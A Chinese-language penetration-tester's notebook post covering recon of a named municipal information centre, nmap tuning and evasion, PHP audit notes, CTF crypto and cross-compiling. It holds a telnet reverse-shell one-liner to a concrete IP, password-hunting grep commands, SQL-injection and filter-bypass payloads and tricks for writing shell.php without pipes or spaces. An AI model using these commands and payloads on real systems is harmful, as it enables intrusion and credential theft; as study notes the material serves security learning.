三年杂烩
Lastmod: 2023-06-24

所有近文。包含未完成未深入未放弃的议题。

MisC.

防重放的burp插件

反序列化代码注入MSF上线

Get Shell 43式

*后渗透初期信息收集

全局查找密码

find ./ -type f | xargs grep -i "PASSWORD"

查找可读文件

find / -perm -646 2>/dev/null

find . -name “*.apk” |xargs -I % cp % ../apk

互联网资产搜集

上集

手工收集关键字

企业信息查询工具

企查查、天眼查、启信宝,确认企业全称。并获得一些官网域名。

https://www.tianyancha.com/search?key=江门市信息中心
https://www.qcc.com/web/search?key=江门市信息中心
https://www.qixin.com/search?key=江门市信息中心

被动搜集

备案号查询接口,按照域名、单位名称进行搜索,递归几次。收集更多域名。

https://www.icplist.com/icp/info/江门市信息中心
https://icp.chinaz.com/home/info?host=jiangmen.cn
https://www.icplist.com/ga/info/jiangmen.cn
https://www.icplist.com/ga/info/江门市信息中心

官方互联网安全管理服务平台

http://www.beian.gov.cn/portal/recordQuery

主动搜集

互联网资产:网站WEB、接口API、小程序、公众号、移动应用、PC应用

信息暴露面:源代码仓库、员工信息联系方式、内部文档手册

信息暴露来源:百度等文库、官网、github、gitlab、公网代码仓库、CSDN

以下方式查找并记录网站URL

搜索引擎搜网站

微信查找小程序、公众号链接

下载APP

安装系统根证书,proxifier代理到burpsuite

二次提取

IP

互联网出口探测

一般大企业或地方,有三家运营商出口。收集得到三个IP/段。

  1. fofa,搜索域名,指定城市
"jiangmen.cn" && city=="Jiangmen"
  1. censys,搜索域名
https://search.censys.io/search?resource=hosts&sort=RELEVANCE&virtual_hosts=EXCLUDE&q=jiangmen.cn

域名

根域名

子域名爆破,工具oneforall

port range medium

api 尽量注册填多一点

IP端口扫描,工具goby

端口范围 default goby port

速率300

nohub nmap -v -n -Pn -sT -sV --max-rtt-timeout 200ms --max-retries 1 -p- -iL target.txt -oX nmap_scan_result.xml >nmap_scan_result.txt 2>&1 &

端口服务探测

1)fofa 对域名A记录 搜索,从结果快速筛选少见的端口组A

./ehole fofaext -l ip.txt -o result.xlsx

2)域名+『端口端口组A+常用端口组B』

AlliN工具

python3 AlliN.py -p 80-89,442-443,1080,1214,5000-5011,5050,5555,5222,5443,5900,5938,5984,6000-6010,6443,6600,6666,7000-7010,7070-7080,7443,8000-8010,8080-8090,8222,8443,8545,8686,8888,9000-9100,9080,9180,9200,9418,9443,9444,9527,9999,10000,11115,10880,18080,12043,12046,12443,16225,16080,18264,18091,18092,20000,20720,24465,28017,28080,30821,43110,61600 -f domains.txt --project domains

附录

常用的WEB端口服务

80-89,442-443,1080,1214,5000-5011,5050,5555,5222,5443,5900,5938,5984,6000-6010,6443,6600,6666,7000-7010,7070-7080,7443,8000-8010,8080-8090,8222,8443,8545,8686,8888,9000-9100,9080,9180,9200,9418,9443,9444,9527,9999,10000,11115,10880,18080,12043,12046,12443,16225,16080,18264,18091,18092,20000,20720,24465,28017,28080,30821,43110,61600

goby默认端口

7,11,13,15,17,19,20,21,22,23,25,26,30,31,32,36,37,38,43,49,51,53,67,70,79,80,81,82,83,84,85,86,87,88,89,98,102,104,110,111,113,119,121,135,138,139,143,175,179,199,211,264,280,311,389,443,444,445,449,465,500,502,503,505,512,515,540,548,554,564,587,620,631,636,646,666,771,777,789,800,801,808,873,876,880,888,898,900,901,902,990,992,993,994,995,999,1000,1010,1022,1023,1024,1025,1026,1027,1042,1080,1099,1177,1194,1200,1201,1212,1214,1234,1241,1248,1260,1290,1302,1311,1314,1344,1400,1433,1443,1471,1494,1503,1505,1515,1521,1554,1588,1610,1720,1723,1741,1777,1830,1863,1880,1883,1901,1911,1935,1947,1962,1967,1991,2000,2001,2002,2010,2020,2022,2030,2049,2051,2052,2053,2055,2064,2077,2080,2082,2083,2086,2087,2095,2096,2121,2154,2160,2181,2222,2223,2252,2306,2323,2332,2375,2376,2379,2396,2401,2404,2406,2424,2443,2455,2480,2501,2525,2600,2601,2604,2628,2715,2809,2869,3000,3001,3002,3005,3050,3052,3075,3097,3128,3260,3280,3288,3299,3306,3307,3310,3311,3312,3333,3337,3352,3372,3388,3389,3390,3443,3460,3520,3522,3523,3524,3525,3528,3531,3541,3542,3567,3689,3690,3749,3780,3790,4000,4022,4040,4063,4064,4155,4200,4300,4369,4430,4433,4440,4443,4444,4505,4506,4567,4660,4664,4711,4712,4730,4782,4786,4840,4842,4848,4880,4911,4949,5000,5001,5002,5003,5004,5005,5006,5007,5008,5009,5010,5038,5050,5051,5060,5061,5080,5084,5111,5222,5258,5269,5280,5357,5400,5427,5432,5443,5550,5555,5560,5577,5598,5631,5672,5678,5800,5801,5802,5820,5900,5901,5902,5903,5938,5984,5985,5986,6000,6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6060,6068,6080,6082,6103,6346,6363,6379,6443,6488,6544,6560,6565,6581,6588,6590,6600,6664,6665,6666,6667,6668,6669,6697,6699,6780,6782,6868,6998,7000,7001,7002,7003,7004,7005,7007,7010,7014,7070,7071,7077,7080,7100,7144,7145,7170,7171,7180,7187,7199,7272,7288,7401,7402,7443,7474,7479,7493,7500,7537,7547,7548,7634,7657,7676,7776,7777,7778,7779,7780,7788,7911,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8020,8025,8030,8032,8040,8058,8060,8069,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8111,8112,8118,8123,8125,8126,8129,8138,8139,8140,8159,8161,8181,8182,8194,8200,8222,8291,8332,8333,8334,8351,8377,8378,8388,8443,8444,8480,8500,8529,8545,8546,8554,8567,8649,8686,8688,8765,8800,8834,8880,8881,8882,8883,8884,8885,8886,8887,8888,8889,8890,8899,8983,8999,9000,9001,9002,9003,9004,9005,9006,9007,9008,9009,9010,9030,9042,9050,9051,9080,9083,9090,9091,9100,9151,9191,9200,9229,9292,9295,9300,9306,9333,9334,9418,9443,9444,9446,9527,9530,9595,9653,9668,9700,9711,9801,9864,9869,9870,9876,9943,9944,9981,9997,9999,10000,10001,10003,10005,10030,10035,10162,10243,10250,10255,10332,10333,10443,10554,11001,11211,11300,11310,11371,11965,12000,12300,12345,12999,13579,13666,13720,13722,14000,14147,14265,14443,14534,15000,16000,16010,16030,16922,16923,16992,16993,17000,17988,18000,18001,18080,18081,18086,18245,18246,18264,19150,19888,19999,20000,20005,20332,20547,20880,22105,22222,22335,23023,23424,25000,25010,25105,25565,26214,26470,27015,27016,27017,28017,28080,29876,29999,30001,30005,31337,32400,32770,32771,32773,33338,33890,34567,34599,37215,37777,40000,40001,41795,42873,44158,44818,45554,49151,49152,49153,49154,49155,49156,49157,49158,49159,49664,49665,49666,49667,49668,49669,49670,49671,49672,49673,49674,50000,50050,50060,50070,50075,50090,50100,50111,51106,52869,55442,55553,55555,60001,60010,60030,60443,61613,61616,62078,64738

下集

用户给出域名、IP,怎么好一点、快点、别花太多手工的整理资产表。

虽然名为暴露面梳理。

goby想过,但是要长挂着不好,而且展示、导出也太局限了。

思路还是很零落,一步一步凑,原始笨笨。

Nmap调优

Nmap的Manual粗略看看,有收获的,人家零几年的文章经典流传。

我调了几次的配置,最小IP分组,150。开T4档扫,T5太夸张,T3略平淡。

最小扫描进程10,官方不推荐过大。

我全端口,有时间就是这样。不考虑存活,直接扫,-Pn。

输出XML格式,方便数据处理。

nohup nmap --randomize-hosts --min-hostgroup 150 -T4 --min-parallelism 2 -p- -v -n -Pn -oX scanc.xml -iL IPs.txt &

#2C4G8M VPS
nohup nmap -v -n -Pn -p- -sV --randomize-hosts --max-rtt-timeout 100ms --host-timeout 7200000ms --min-hostgroup 70 -T 3 --max-retries 1 -iL target.txt -oX nmap_scan_result_`date +"%Y-%m-%d_%H-%M-%S"`.xml >nmap_scan_result.txt 2>&1 &

nmap -v -n -Pn -p- -sV --randomize-hosts --max-rtt-timeout 100ms --host-timeout 7200000ms --min-hostgroup 50 -T 3 --max-retries 1 -iL target.txt -oX nmap_scan_result_`date +"%Y-%m-%d_%H-%M-%S"`.xml


#低线程保护业务nmap扫描
nmap -v -n -Pn -sT -sV --scan-delay 1s --max-parallelism 10 --max-rtt-timeout 200ms --max-retries 1 -p 21,22,23,25,80,389,111,161,443,445,1433,2375,1521,3306,2181,3389,5432,5433,6131,6379,27017,9200,8161,7001-7010,5900-5905,8000-8080,9999,11211,50107,10051,10050  -iL target.txt -oX nmap_scan_result.xml >nmap_scan_result.txt

参考:不一定适用。

工具| 诸神之眼nmap定制化之并发处理 - 云+社区 - 腾讯云 (tencent.com)

Nmap Network Scanning—The Official Nmap Project Guide to Network Discovery and Security Scanning

Nmap整理

NMAP扫出来的东西可以整理一下,例如端口数据转URL,见下方代码功能一。

NMAP也可以扫端口指纹,上面的命令没加上,-sV。

目标防火墙可能导致误报端口全开,如果Nmap根据这个去探测指纹,就天长地久了。(Nmap可能有扫出过多端口丢弃的选项),目前我想到是,用筛出来的出现过的端口,再扫一遍,指纹。

nmap -p 【端口1,2,...】-sV -Pn -iL IPs.txt -oX scanbanner.xml 

NMAP处理小脚本:

#!/bin/python3
# -*- coding: UTF-8 -*-
from xml.dom.minidom import parse
import xml.dom.minidom

#nmap -p- -v 112.94.67.115 -oX scanb.xml

def load_nmap_xml():
    # 使用minidom解析器打开 XML 文档
    DOMTree = xml.dom.minidom.parse("scanb.xml")
    if DOMTree.getElementsByTagName("host"):
        hosts = DOMTree.getElementsByTagName("host") 
    host_list = list()
    for host in hosts:
        address = host.getElementsByTagName("address")[0].getAttribute("addr")
        # print(address)
        ports = host.getElementsByTagName("port")
        port_list = list()
        for port in ports:
            if("open" == port.getElementsByTagName('state')[0].getAttribute("state")):
                port_value = port.getAttribute("portid")
                # print(port_value)
                port_list.append(port_value)
        if(port_list):
            host_list.append({"ip":address, "port_list":port_list})    
    # print(host_list)
    return host_list

#功能一:拼接IP+端口,组成URL
port_checklist = ("22","139","53","111","ssh","135","445","samba","mysql","3306","1521","3389","21")
host_list = load_nmap_xml()
for host in host_list:
    for port in host["port_list"]:
        if(port in port_checklist):
            continue
        url = "http://%s:%s" %(host["ip"],port)
        # url = "http://"+str(host["ip"])+":"+str(port)
        print(url)

#功能二:打印所有曾出现的端口
# port_set = set()
# for host in host_list:
#     #单主机有多于25个端口的丢弃
#     if(len(host["port_list"])>35):
#         continue

#     for port in host["port_list"]:
#         port_set.add(port)

# print(','.join(port_set))

公众号/小程序/APP

搜索用户的关键字找公众号、小程序。

拿着burp或者fiddler,看抓到的URL。

又是手工。哎。

批量域名+端口的HTTP/S请求

关注WEB资产,批量,要求返回要素信息,例如标题、响应码、指纹。

有时候出口网关(负载均衡之类的),根据域名、端口再转发内网,那对域名+端口进行暴发户请求就有必要了,老朋友httpx。

特别是只有域名的情况。

httpx的csv格式输出,会有比较齐全的信息列。

nohup ./httpx -l urls.txt -p 【端口1,端口2,...】 -sc -fr -title -td -silent -nf -t 100 -o urls.csv -csv &

参考goby的默认端口,删走了几个明显的非WEB端口。

80,81,82,83,84,85,86,87,88,89,98,443,444,512,515,540,548,554,564,587,620,631,636,646,666,771,777,789,800,801,808,873,876,880,888,898,900,901,902,990,992,993,994,995,999,1000,1010,1022,1023,1024,1025,1026,1027,1042,1080,1099,1177,1194,1200,1201,1212,1214,1234,1241,1248,1260,1290,1302,1311,1314,1344,1400,1443,1471,1494,1503,1505,1515,1554,1588,1610,1720,1723,1741,1777,1830,1863,1880,1883,1901,1911,1935,1947,1962,1967,1991,2000,2001,2002,2010,2020,2022,2030,2049,2051,2052,2053,2055,2064,2077,2080,2082,2083,2086,2087,2095,2096,2121,2154,2160,2181,2222,2223,2252,2306,2323,2332,2375,2376,2379,2396,2401,2404,2406,2424,2443,2455,2480,2501,2525,2600,2601,2604,2628,2715,2809,2869,3000,3001,3002,3005,3050,3052,3075,3097,3128,3260,3280,3288,3299,3307,3310,3311,3312,3333,3337,3352,3372,3388,3389,3390,3443,3460,3520,3522,3523,3524,3525,3528,3531,3541,3542,3689,3690,3749,3780,3790,4000,4022,4040,4063,4064,4155,4300,4369,4430,4433,4440,4443,4444,4505,4506,4567,4660,4664,4711,4712,4730,4782,4786,4840,4842,4848,4880,4911,4949,5000,5001,5002,5003,5004,5005,5006,5007,5008,5009,5010,5038,5050,5051,5061,5080,5084,5111,5222,5258,5269,5280,5357,5400,5427,5432,5443,5550,5555,5560,5577,5598,5631,5672,5678,5800,5801,5802,5820,5900,5901,5902,5903,5938,5984,5985,5986,6000,6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6060,6068,6080,6082,6103,6346,6363,6379,6443,6488,6544,6560,6565,6581,6588,6590,6600,6664,6665,6666,6667,6668,6669,6697,6699,6780,6782,6998,7000,7001,7002,7003,7004,7005,7007,7010,7014,7070,7071,7077,7080,7100,7144,7145,7170,7171,7180,7187,7199,7272,7288,7401,7402,7443,7474,7479,7493,7537,7547,7548,7634,7657,7676,7776,7777,7778,7779,7780,7788,7911,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8020,8025,8030,8040,8058,8060,8069,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8111,8112,8118,8123,8125,8126,8129,8138,8139,8140,8159,8161,8181,8182,8194,8200,8222,8291,8332,8333,8334,8351,8377,8378,8388,8443,8444,8480,8500,8529,8545,8546,8554,8649,8686,8765,8800,8834,8880,8881,8882,8883,8884,8885,8886,8887,8888,8889,8890,8899,8983,8999,9000,9001,9002,9003,9004,9005,9006,9007,9008,9009,9010,9030,9042,9050,9051,9080,9083,9090,9091,9100,9151,9191,9200,9292,9295,9300,9306,9333,9334,9418,9443,9444,9446,9527,9530,9595,9653,9668,9700,9711,9801,9864,9869,9870,9876,9943,9944,9981,9997,9999,10000,10001,10003,10005,10030,10035,10162,10243,10250,10255,10332,10333,10443,10554,11001,11211,11300,11310,11371,11965,12000,12300,12345,12999,13579,13666,13720,13722,14000,14147,14265,14443,14534,15000,16000,16010,16030,16922,16923,16992,16993,17000,17988,18000,18001,18080,18081,18086,18245,18246,18264,19150,19888,19999,20000,20332,20547,20880,22105,22222,22335,23023,23424,25000,25010,25105,25565,26214,26470,27015,27016,27017,28017,28080,29876,29999,30001,31337,32400,32770,32771,32773,33338,33890,34567,34599,37215,37777,40000,40001,41795,42873,44158,44818,45554,49151,49152,49153,49154,49155,50000,50050,50060,50070,50075,50090,50100,50111,51106,52869,55442,55553,55555,60001,60010,60030,60443,61613,61616,62078,64738

网页指纹whatweb

之前某大佬整理出巨量whatweb指纹库,收藏一直没用,现在可以一试。

whatweb不用开-a4扫全指纹,请求太多了。默认策略得了。

httpx的是参考wappalyzer的数据做指纹,有时候也不太准确,再次抽取确定的URL,用whatweb跑一遍。

nohup ./whatweb -i host.txt --log-json=urls.json --no-errors -t 150 &

ruby whatweb.rb -a 4 --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" -t 200 -v --open-timeout 5 --read-timeout 5 -i url1.txt --log-json url1.json

另一款tideFinger工具没试。

后续

回头看,可以多走走网络资产搜索引擎。fofa、hunter。

还有些结合fofa的搜集工具。没用上。

按道理,可以更快省力的找到关键敏感资产。

红队攻防信息收集向的Ehole、Glass、百度企查查ENscan、小程序APP逆向自动出资产的AppInfoScanner、不用说的fofaviewer

下次一定。

还有就是输出效果的问题,还是只做到Excel一张表的效果。

应该设计些展示花哨的图表,划分资产类型,应用类型筛选等等。

goby可能有指导作用,但是还没玩明白它的资产展示窗口。

冰蝎不出网上线MSF

1、云主机VPS(IP为A),MSF按照冰蝎提示配置监听端口B

2、攻击机(IP为C)的冰蝎管理器,DMZ反向映射,配置IP:A,端口B,开启端口隧道

3、反弹shell窗口,填写IP:127.0.0.1,端口:B,点击给我弹即可。

此时,冰蝎管理器就会建立与内网机器的连接,然后冰蝎管理器再往VPS连接,云主机VPS可以看到IP:C向VPS上线的提示。相当与冰蝎管理器做为中转站。

Java逆向工具

jd-gui-1.6.6.jar

cfr-0.152.jar

反编译

apktool d -p <上述的framework的安装目录> -o <输出目录> xxx.apk

dex2jar 和 jd-gui 的安装与使用

d2j-dex2jar.bat classes.dex

双击运行 jd-gui.exe 文件,将jar文件拖到工作区即可打开 Review.xmind

快速修改apk的AndroidManifest.xml

adb日志导出

 adb logcat > logcat.log

查看apk最低SDK

C:\Users\Jyufu\android-sdks\build-tools\28.0.3>aapt list -a android.elife_6.1.26_1589528958639.apk | find "SdkVersion"

gradlew 代理 阿里云镜像

init.gradlew

利用drozer简单测试安卓四大组件

Nmap扫盲

常规

nmap -sS -v -p- -sV -n 1.1.1.1

扫描文件中的目标

nmap -iL target.txt

不扫描端口

nmap -sn 192.168.1.1

输出

nmap 192.168.1.1 -oN test.txt        标准输出写入到指定文件中nmap 192.168.1.1 -oX test.xml        将输入写成xml的形式

报文分段,请求的扫描(包括ping扫描)使用微小的碎片IP数据包, 包过滤器检测更难

nmap 192.168.1.1 -f

利用数据包分片技术,某些防火墙为了加快处理速度而不会进行重组处理,这样从而逃脱防火墙或闯入检测系统的检测,注意:mtu的值必须是8的倍数(如8,16,24,32等)

nmap 192.168.1.1 --mtu 32

使用-D选项就可以达到IP欺骗的目的,可以指定多个IP或者使用RND随机生成几个IP地址

nmap -D 10.1.1.1,20.2.2.2 192.168.1.1nmap -D RND:11 192.168.1.1

源地址欺骗,从Microso扫描Facebook

nmap -S www.microso.com www.facebook.com

指定源主机端口,来手动设定用来扫描的端口,常用的如20、53、67端口

nmap -g 53 192.168.1.1

通过HTTP/SOCKS4代理中继连接

nmap --proxies http://191.1.1.1:1080,http://192.2.2.2:1080 192.168.1.1

添加垃圾数据,通过在发送的数据包末尾添加随机的垃圾数据,以达到混淆视听的作效果,200是垃圾数据长度

nmap --data-length 200 192.168.1.1

https://mp.weixin.qq.com/s/ph8b0oA31f_HyzltnKxqdA

PHP代码审计

把握大局

网站结构

源码文件夹了解程序大致目录

入口文件

index.php admin.php 一般是整个程序的入口详细读一下index文件可以知道程序的架构、运行流程、包含哪些配置文件,包含哪些过滤文件以及包含哪些安全过滤文件,了解程序的业务逻辑。

配置文件

类似config.php 等文件,保存一些数据库相关信息、程序的一些信息。

先看看数据库编码,如果是gbk则可能存在宽字节注入。

如果变量值用双引号、则可能存在双引号解析代码执行的问题。

过滤功能

通过详细都公共函数文件安全过滤文件等文件,清晰掌握用户输入的数据,哪些被过滤,哪些无过滤,在哪里被过滤了,如何过滤的,能否绕过过滤后的数据。过滤的方式是替换还是正则?有没有GPC?有没有使用addslashes()处理?

审计方法

通读全文法

把握大局

最麻烦最全面

敏感函数/参数回溯法

大多数漏洞是函数使用不当产生,找到使用不当的函数,就可以快速挖掘想要的漏洞

Seay法师大大的Seay源代码审计系统,利用正则匹配一些高危函数、关键函数以及敏感关键字。

快速定位,上下文追踪。

定向功能分析法

浏览器逐个访问浏览,看看这套程序有哪些功能。根据相关功能,大概推测相关漏洞。

常见的功能漏洞
  • 程序初始化安装

  • 站点信息泄露

  • 文件上传

  • 文件管理

  • 登录认证

  • 数据库备份恢复

  • 找回密码

归纳

  • 首先,把握大局

  • 其次,根据定向功能法针对每一项功能进行审计

  • 最后,敏感函数参数回溯。

环境安装

技巧

显示所有错误

error_reporting(E_ALL);

基本工具

Notepad++

sublime text3

  • packagecontrol control shift p -> pcip -> 安装插件
    • ctags phpfmt convertToUTF8 alignment

phpstorm 一个php的IDE

Seay源码审计系统

Xdebug

开放源代码的PHP程序调试器,在php5-7各版本皆有支持插件。

  • php.ini配置Xdebug

  • 技巧

    -> 语句/函数

    >=> 运行结果

    将xt后缀添加到notepad++的php类型,文件开头添加php标记 <?php ,实现语法高亮。

应用场景:

密文php代码,Xdebug调试工具排上用场。

php加密,代码加密/混淆

好处:绕狗

缺点:加载时间长

数据库监控工具 Seay的监控mysql功能

RIPS php代码审计工具

书籍

代码审计-企业级web代码安全架构

初始化安装漏洞

漏洞

  • 无验证功能,任意重装覆盖

  • $_GET[‘step’]跳过限制步骤

  • 变量覆盖导致重装

  • 判断lock后跳转无exit

    利用报错不退出绕过检测:PHPMyWind CMS产品 任意密码重置漏洞研究分析

    继续利用可控变量,传参,写数据库、写文件等。

  • 解析install.php.bak漏洞

  • 其它特定功能绕过

修补方案

自动删除安装文件、加lock限制。

命令执行

system,exec,shell_exec,`` ,passthru

php eval,assert,preg_replace(’/*/e’,’$ret="\1";’,$data)

asp eval,excute,excuteglobal

jsp 反射机制的表达式引擎 0GNL Spel MVEL

popen

proc_open

pcntl_exec

XSS

存储+输出的过程

常见函数 print,print_r,echo,printf,sprintf,die,var_dump,var_export

SQL

双条件查询

sqlwaf多数屏蔽单引号,借助二次注入,利用程序自带的两对单引号

双条件查询或带两对单引号的sql语句,转义第二个单引号

select username,password from users where username='$username' and password='$password' limit 0,1

admin\逃出

select username,password from users where username='admin\' and password='$password' limit 0,1
'admin\' and password='

变量覆盖

//更新头像信息
$query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'";

构造avatar文件名,意图读取'../sys/config.php'文件。

a.jpg',user_avatar = '../sys/config.php' WHERE user_name ='user1' #.jpg

得到如下语句:

注意,文件名带/符号会被截断,所以用ascii hex编码传入

UPDATE users SET user_avatar = 'a.jpg',user_avatar = 0x2e2e2f7379732f6c69622e706870 WHERE user_name ='user1' #.jpg' WHERE user_id = '{$_SESSION['user_id']}'

Linux版本

版本

cat /proc/version

lsb_release

cat /etc/lsb_release

uname -a

数据库安全

数据库攻防工具

ODAT (Oracle Database Attacking Tool)

MSDAT(MsSQL Database Attacking Tool)

metasploit(Mysql\Oracle\MsSQL)

exploit-db searchsploit -t oracle windows

MsSQL禁用xp-cmdshell

Oracle Public危险包 UTL_FILE UTL_HTTP

MySQL load_file select intofile

捣蛋CS

反击CobaltStrike(一) 以假乱真

Telnet反弹Shell

nc -lvvp 4444

nc -lvvp 5555

telnet 120.48.147.236 4444 | /bin/bash | telnet 120.48.147.236 5555

*攻防资产梳理脚本向

域名方向

[‘domain’,‘ip’,‘cdn’,‘cname’.‘asn’]

获取资产(Todo:cert,icon_hash,icp,APP&小程序&公众号)

IP域名分离

python3 extract_ip_domain_sub.py

提取子域名

sudo subfinder -dL subdomain.txt -nW -silent -oI domain-more1.txt
sudo ksubdomain -dl subdomain.txt -skip-wild -o domain-more2.txt

+固有IP

+子域名=> subfinder -d baidu.com -silent|sudo ksubdomain -verify -silent |httpx -title -content-length -status-code

={‘ip’:{},‘domain’:{}}

CDN识别

+真实IP

={rip,[domain]}

端口发现

–Glass 识别Banner 域名需转换IP调用FoFa/shodan API

–Whatweb/Ehole

={ip,[domain],port,url,banner,tittle}

漏洞扫描

<{url}

fspider

pocsuite

xray

WAF探测

小脚本

分离IP与域名

定期监控资产存活

交叉编译环境部署

toolchain

Arm64

wget https://mirrors.tuna.tsinghua.edu.cn/armbian-releases/_toolchain/gcc-linaro-7.4.1-2019.02-x86_64_aarch64-linux-gnu.tar.xz
xz -d gcc-linaro-7.4.1-2019.02-x86_64_aarch64-linux-gnu.tar.xz 
sudo mkdir -p /usr/local/toolchain
sudo tar xvf gcc-linaro-7.4.1-2019.02-x86_64_aarch64-linux-gnu.tar -C /usr/local/toolchain/

PATH=$PATH:/usr/local/toolchain/gcc-linaro-7.4.1-2019.02-x86_64_aarch64-linux-gnu/bin/

export ARCH=arm64
export CROSS_COMPILE=aarch64-linux-gnu-

Android NDK

wget https://dl.google.com/android/repository/android-ndk-r15c-linux-x86_64.zip
sudo mdkir /usr/local/toolchain
sudo unzip android-ndk-r15c-linux-x86_64.zip -d /usr/local/toolchain
PATH=$PATH:/usr/local/toolchain/android-ndk-r15c/toolchains/aarch64-linux-android-4.9/prebuilt/linux-x86_64/bin

export ARCH=arm64
export CROSS_COMPILE=aarch64-linux-android-
export SYSROOT=/usr/local/toolchain/android-ndk-r16b/platforms/android-27/arch-arm64
export LD_LIBRARY_PATH=${SYSROOT}/usr/lib/:${SYSROOT}/usr/lib64
export TARGET_HOST="aarch64-linux-android"
export CFLAGS="-DANDROID -D__ANDROID__ -DSK_RELEASE -D__POSIX_VISIBLE=199209 -D__BSD_VISIBLE -fPIC -I${SYSROOT}/usr/include/${TARGET_HOST} -I${SYSROOT}/usr/include"
export LDFLAGS="-L${SYSROOT}/usr/lib -L${SYSROOT}/usr/lib64 -static --sysroot=${SYSROOT}"

Android NDK on macOS

brew install arm-linux-gnueabihf-binutils
PATH=$PATH:/opt/homebrew/Cellar/arm-linux-gnueabihf-binutils/2.40/bin
export ARCH=arm
export CROSS_COMPILE=arm-linux-gnueabihf-
export CC=clang

Android NDK on macOS

wget https://dl.google.com/android/repository/android-ndk-r15c-darwin-x86_64.zip
sudo mkdir /opt/toolchain
sudo unzip android-ndk-r15c-darwin-x86_64.zip -d /opt/toolchain/
export NDK=/opt/toolchain/android-ndk-r15c

dropbear

./configure --host=aarch64-linux-android --disable-syslog --disable-zlib --enable-static --disable-lastlog --disable-utmp
./configure --host=aarch64-linux-gnu --disable-syslog --disable-zlib --enable-static
make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" MULTI=1 -j 4
upx -9 dropbearmulti

busybox

make defconfig
#sudo apt install libselinux-dev libsepol-dev
#make allyesconfig
sudo apt install libncurses-dev
make menuconfig
#启用静态链接
#导航到Busybox Library Tuning 菜单,并选择 "Build BusyBox as a static binary (no shared libs)" 选项

make CONFIG_STATIC=y

#检查
file busybox
ldd busybox

upx -9 busybox

tcpdump

参考资料

https://github.com/android/ndk/wiki/Unsupported-Downloads

https://github.com/extremecoders-re/tcpdump-android-builds/tree/master

https://github.com/meefik/busybox

https://github.com/ribbons/android-dropbear

ARM-LINUX-GCC交叉编译工具链必知必会

交叉编译详解

[一次搞定 Arm Linux 交叉编译](

代码审计开源组件扫描

1、墨菲安全

2、Eclipse Steady (Incubator Project)

3、Dependency-Check

CTF密码学

HEX

flag='glad'
#python2
flag.encode('hex')
int(flag.encode('hex'),16)

#python3
f = flag.encode('utf-8')

栅栏密码

一般比较常见的是2栏的栅栏密码。 比如明文:THEREISACIPHER 两个一组,得到:TH ER EI SA CI PH ER 先取出第一个字母:TEESCPE 再取出第二个字母:HRIAIHR 连在一起得到密文:TEESCPEHRIAIHR

而解密的时候, 我们先把密文从中间分开, 变为两行: T E E S C P E H R I A I H R 再按上下上下的顺序组合起来: 得到明文:THEREISACIPHER

ROT

ROT5:只对数字进行编码
ROT13:只对字母进行编码
ROT18:这是一个异类,将ROT5和ROT13组合
ROT47:对数字、字母、常用符号进行编码

ROT5/13/18/47编码转换

Brainfuck/OoK

https://www.splitbrain.org/services/ook

维基利亚密码

凯撒密码字母表,明文对应横坐标,密钥对应纵坐标

棋盘密码

https://www.qqxiuzi.cn/bianma/qipanmima.php

散列算法

MD5

SHA-1 256 512

对称加密

DES(128不安全)

Key、Data、Mode。
Key为8个字节共64位,是DES算法的工作密钥;
Data也为8个字节64位,是要被加密或被解密的数据;
Mode为DES的工作方式,有两种:加密或解密。

https://the-x.cn/cryptography/Aes.aspx http://tool.chacuo.net/cryptaes

填充方式padding

分组密码机制

ECB 重复排列,没有IV向量

CBC

CFB

OFB

CTR

AES

from Crypto.Cipher import AES
m="flag{aes_666666}"
key="1234567890abcdef"
iv="fedcba0987654321"
cipher =AES.new(key, AES.MODE_CBC, iv)
c=cipher.encrypt(m)
print c.encode("hex")
cipher=AES.new(key, AES.MODE_CBC, iv)
m=cipher.decrypt(c)
print m

RSA

因数分解

公钥私钥

大整数N,p和q为N的因子

e和d,互为模反数的两个指数

c和m,密文和明文

穷举攻击

c和n很大,e很小情况下,可以解出m

c=m^e mod n

c+k*n=m^e

共模攻击

e1、e2互质,n不变,可以无需知道模反数d,解出明文

维纳攻击

e很大,利用算法,推断d的值

RSA-Coppersmith定理

已知N和p的高位,可恢复出p

sage脚本:https://sagecell.sagemath.org

命令注入特殊环境绕过

无管道符情况下

1、nohup

nohup cat '1234'
cat nohup.out
mv nohup.out shell.php

2、sed

#创建1字节的文件
dd if=/dev/zero of=shell.php bs=1 count=1
#替换\0字符
sed -i 's/\x0/123456/g' shell.php
#或者替换第一行
sed -i '1c 123456' shell.php

参考链接:linux不用符号实现写文件

无空格情况下

bash shell:

{echo,hello,world}

busybox shell:

CMD=$'\x20a\x20b\x20c';echo$CMD

空格替换

$IFS$9
${IFS}$1
${IFS}

重定向

cat<>flag 
cat<flag

参考

Command Injection Without Spaces

Bash Brace Expansion Cleverness

前端挖掘URL

字典制作

https://wordlists-cdn.assetnote.io/

JS提取URI

relative-url-extractor

curl -s https://hackerone.com/hacktivity | ./extract.rb

webpack特征

vuejs

wappalyzer

F12发现webpack://文件夹或以下代码

(window["webpackJsonp"] = window["webpackJsonp"] || []).push([["pages-party-index"], {

访问xxx.js.map

webpack逆向

关键在于找到js.map文件

# 安装 reverse-sourcemap
npm install --global reverse-sourcemap
# 下载 *.js.map  (右键查看源代码,找到 js ,在 js 后面加上 .map)
curl -O https://127.0.0.1/*.js.map
# 使用 reverse-sourcemap
reverse-sourcemap --output-dir ./test xxx.js.map
# 得到 JS

*内存马

前置

内存马类型

1、基于动态注册的Servlet组件

2、基于动态注册框架Spring

3、基于Javaagent技术

webshell查杀

https://dl.shellpub.com/hm/

内存马查杀

https://dl.shellpub.com/hmj

参考资料

JAVA内存马的“一生”

内存马专杀开放下载 | 当杀疯了的内存马遇到河马

mybatis注入

  1. SQL语句中的一些部分,例如order by字段、表名等,是无法使用预编译语句的。这种场景极易产生SQL注入。推荐开发在Java层面做映射,设置一个字段/表名数组,仅允许用户传入索引值。这样保证传入的字段或者表名都在白名单里面。

  2. like参数注入。使用如下SQL语句可防止SQL注入

    方案二使用官方推荐的bind()函数完成参数绑定
